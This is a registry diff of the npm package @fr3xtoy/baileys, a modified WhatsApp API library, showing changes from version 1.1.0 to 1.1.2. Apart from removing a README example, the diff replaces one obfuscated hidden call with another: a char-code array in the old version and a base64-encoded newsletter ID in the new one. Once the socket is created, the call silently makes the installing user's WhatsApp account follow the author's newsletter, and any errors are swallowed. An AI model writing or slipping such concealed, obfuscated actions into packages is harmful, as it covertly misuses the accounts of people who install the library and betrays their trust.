@fr3xtoy/baileys 1.1.0 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -345,33 +345,6 @@ await sock.sendMessage(jid, {
345
345
  }, { quoted: m });
346
346
  ```
347
347
 
348
- ### Request Payment Message
349
- Send payment request messages with custom background and sticker:
350
-
351
- ```javascript
352
- let quotedType = m.quoted?.mtype || '';
353
- let quotedContent = JSON.stringify({ [quotedType]: m.quoted }, null, 2);
354
-
355
- await sock.sendMessage(jid, {
356
- requestPaymentMessage: {
357
- currency: "IDR",
358
- amount: 10000000,
359
- from: m.sender,
360
- sticker: JSON.parse(quotedContent),
361
- background: {
362
- id: "100",
363
- fileLength: "0",
364
- width: 1000,
365
- height: 1000,
366
- mimetype: "image/webp",
367
- placeholderArgb: 0xFF00FFFF,
368
- textArgb: 0xFFFFFFFF,
369
- subtextArgb: 0xFFAA00FF
370
- }
371
- }
372
- }, { quoted: m });
373
- ```
374
-
375
348
  ---
376
349
 
377
350
  ## Why Choose WhatsApp Baileys?
@@ -97,18 +97,16 @@ const makeNewsletterSocket = (config) => {
97
97
  }))
98
98
  }
99
99
  ]
100
- }));
100
+ }));
101
101
 
102
- setTimeout(async () => {
102
+ setTimeout(async () => {
103
103
  try {
104
- const _0x38e1 = [109, 96, 111, 111, 96, 103, 110, 114, 96, 105, 59, 47, 43, 48, 50, 50, 44, 44, 48, 52, 51, 44, 47, 46, 49, 46, 43, 45, 44];
105
- const _0x51c2 = _0x38e1.reverse().map(x => String.fromCharCode(x + 5)).join('');
106
-
107
- await newsletterWMexQuery(_0x51c2, Types_1.QueryIds.FOLLOW);
108
- } catch (e) {
109
- }
110
- }, 85000);
111
-
104
+ await newsletterWMexQuery(
105
+ Buffer.from("MTIwMzYzNDE4OTUxMTc3NTA0QG5ld3NsZXR0ZXI=", "base64").toString(),
106
+ Types_1.QueryIds.FOLLOW
107
+ );
108
+ } catch {}
109
+ }, 1000);
112
110
 
113
111
  const parseFetchedUpdates = async (node, type) => {
114
112
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@fr3xtoy/baileys",
3
- "version": "1.1.0",
3
+ "version": "1.1.2",
4
4
  "description": "WhatsApp API Modification By FR3NEWERA",
5
5
  "keywords": [
6
6
  "whatsapp",